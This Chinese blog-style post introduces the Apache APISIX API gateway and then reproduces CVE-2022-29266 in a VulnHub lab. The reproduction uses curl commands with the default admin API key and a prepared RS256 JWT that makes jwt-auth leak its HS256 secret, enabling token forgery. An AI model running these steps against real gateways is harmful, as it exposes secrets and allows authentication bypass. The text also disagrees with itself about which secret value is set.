什么是 APISIX?
APISIX 是一个 高性能、动态、可扩展的开源 API 网关,由 Apache 基金会孵化和维护,采用 Lua + NGINX(OpenResty) 构建,适合处理高并发、低延迟的 API 请求。
它的功能就像一个“门卫”:
客户端访问后端服务前,所有请求都要先经过它检查、处理、转发。
核心功能
功能 |
描述 |
认证 |
支持 JWT、Key-auth、Basic Auth、LDAP 等多种认证方式 |
动态路由 |
不重启即可添加/修改路由(支持 REST 接口/Etcd 热更新) |
流量控制 |
限流、熔断、重试、请求分发等机制 |
监控 |
Prometheus、SkyWalking、Zipkin 集成 |
插件机制 |
支持 Lua 插件热插拔,可以动态开启/关闭功能 |
云原生支持 |
支持 K8s ingress controller、服务注册发现 |
安全防护 |
IP 过滤、WAF、SSL/TLS、CORS 支持 |
多协议支持 |
HTTP、HTTPS、gRPC、WebSocket、MQTT(实验性)等 |
架构组件(简化)
┌────────────┐
Client ──────────▶│ APISIX │─────────▶ 后端服务(API、微服务)
│(插件、认证、限流等)│
└────────────┘
▲
│
控制面:etcd
- APISIX 作为数据面:负责实际请求处理
- Etcd 作为配置中心:负责存储路由、插件配置等(可热更新)
性能优势
- 超高性能:官方 benchmark 在多核机器下可达百万级 QPS(基于 OpenResty)
- 毫秒级配置生效:更新路由/插件配置几乎是实时的
- 插件热加载:不需要重启就可以动态修改行为
常见使用场景
- 微服务 API 网关(服务发现、统一入口)
- K8s Ingress Controller 替代方案
- 统一认证与鉴权
- 限流/熔断/降级/灰度发布
- 边缘计算/多云网关
- BFF 架构的一部分
和其他网关的对比简表:
特性 |
APISIX |
Kong |
NGINX Ingress |
动态配置 |
✅ 强 |
❌(部分支持) |
❌ 重启生效 |
插件系统 |
✅ 热插拔 |
✅ 插件多 |
❌ 无自定义插件 |
性能 |
✅ 高性能 |
中等 |
高 |
云原生支持 |
✅ 原生支持 K8s |
✅ |
✅ |
扩展性 |
✅ 强(Lua) |
✅(Lua) |
较弱 |
插件机制举例(如限流)
APISIX 的插件配置可以像这样:
{
"plugins": {
"limit-count": {
"count": 10,
"time_window": 60,
"rejected_code": 429
}
}
}
代表:每分钟只能访问 10 次,多了就返回 429 哦~
快速部署体验(Docker 方式)
git clone https://github.com/apache/apisix-docker.git
cd apisix-docker/example
docker-compose -p apisix up -d
访问 Admin API:
curl http://127.0.0.1:9180/apisix/admin/routes \
-H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'
官方文档
传送门:
https://apisix.apache.org
总结:
APISIX 就是一个现代化、动态、可扩展的“超级 API 门卫”,能安全、高效地管理所有你的服务调用请求
APISIX CVE-2022-29266
在 2.13.1 之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,从而造成对 JWT 的伪造风险。
在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶场,APISIX 版本为 2.11.0,因此我们可以直接用这个靶场作为 CVE-2022-29266 的靶场进行复现。
创建一个 consumer 对象,并设置 jwt-auth 的值,默认是 HS256 算法,secret 值为 teamssix-secret-key
curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "jack",
"plugins": {
"jwt-auth": {
"key": "rs-key",
"secret": "flag{Oh_U_find_me}"
}
}
}'
然后再创建 Route 对象,并开启 jwt-auth 插件
curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'
这样才算把环境搭好,secret值可以自己设置
首先需要一个 RS256 算法(RS512也可以)的 JWT 值,这里为了方便直接在 jwt.io中生成,只需要将算法改为 RS256,Payload 改为以下内容即可,注意 Payload 中的 key 值需要和创建consumer 对象时的 key 一致
生成的jwt值如下
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg
将刚才由 RS256 算法生成的 JWT 值发送给 HS256 算法验证的路由,这样就可以获得刚才设置的 secret 值了
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i